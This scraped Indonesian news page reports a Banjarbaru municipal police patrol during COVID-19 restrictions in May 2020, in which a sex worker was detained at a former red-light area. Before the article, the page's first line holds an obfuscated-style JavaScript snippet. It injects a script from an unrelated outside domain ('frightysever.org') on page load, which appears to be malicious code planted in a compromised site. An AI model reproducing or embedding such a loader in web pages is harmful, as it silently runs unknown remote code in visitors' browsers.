(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Satu PSK di Eks Lokalisasi Pembatuan Terjaring saat Giat PSBB di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Di hari ke-12 pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarbaru, personel Satpol PP menggelar giat pengamanan pada Rabu (27/5/2020) pagi. Rupanya, satu orang Pekerja Seks Komersial (PSK) terjaring dalam giat ini.

Awalnya giat pengamanan kali ini menyasar lima pasar di Kecamatan Liang Anggang dan Landasan Ulin. Dalam hal ini petugas, menyampaikan imbauan protokol kesehatan dan pencegahan Covid-19 selama PSBB. Termasuk mengukur suhu tubuh dan pemberian masker kain pada para pedagang maupun pembeli.

Setelah itu, giat kembali berlanjut ke kawasan Eks Lokalisasi Pembatuan, di Kecamatan Landasan Ulin. Di sinilah petugas mendapati seorang perempuan sebagai PSK, disinyalir sedang mangkal. Hal ini diperkuat dengan sejumlah temuan barang bukti yang akhirnya diamankan.

Kepala Satpol PP Banjarbaru, Marhain Rahman, melalui Seksi Opsdal PPNS, Yanto Hidayat, mengatakan sebenarnya ada 2 PSK saat itu yang diduga sedang mangkal. Hanya saja, satu orang PSK langsung melarikan diri kala melihat petugas yang datang. “Satu PSK langsung kabur saat melihat kami datang. Tapi satu PSK lagi berhasil kami amankan,” katanya kepada Kanalkalimantan.com.

Adapun identitas PSK tersebut ialah J (44), yang mengaku sudah 3 bulan menggeluti bisnis prostitusi dengan memasang tarif Rp 100 ribu sekali kencang. Menariknya, ini bukan kasus pertama J diciduk oleh petugas Satpol PP Kota Banjarbaru.

Yanto menuturkan bahwa J sudah pernah di amankan pada 2019 lalu, di lokasi yang sama. Atas kasusnya kedua ini, J ditindak dengan membuat surat pernyataan dan tidak boleh lagi menjadi PSK di Kota Banjarbaru.

“Dia harus meninggal rumah sewaannya di Eks Lokalisasi Pembatuan. Kasarnya, yang bersangkutan kita usir dari Banjarbaru. Selain itu barang bukti yang kita dapati juga akan dimusnahkan,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Al Ghifari

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

7 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

7 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

8 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

12 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

14 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

14 jam ago

This website uses cookies.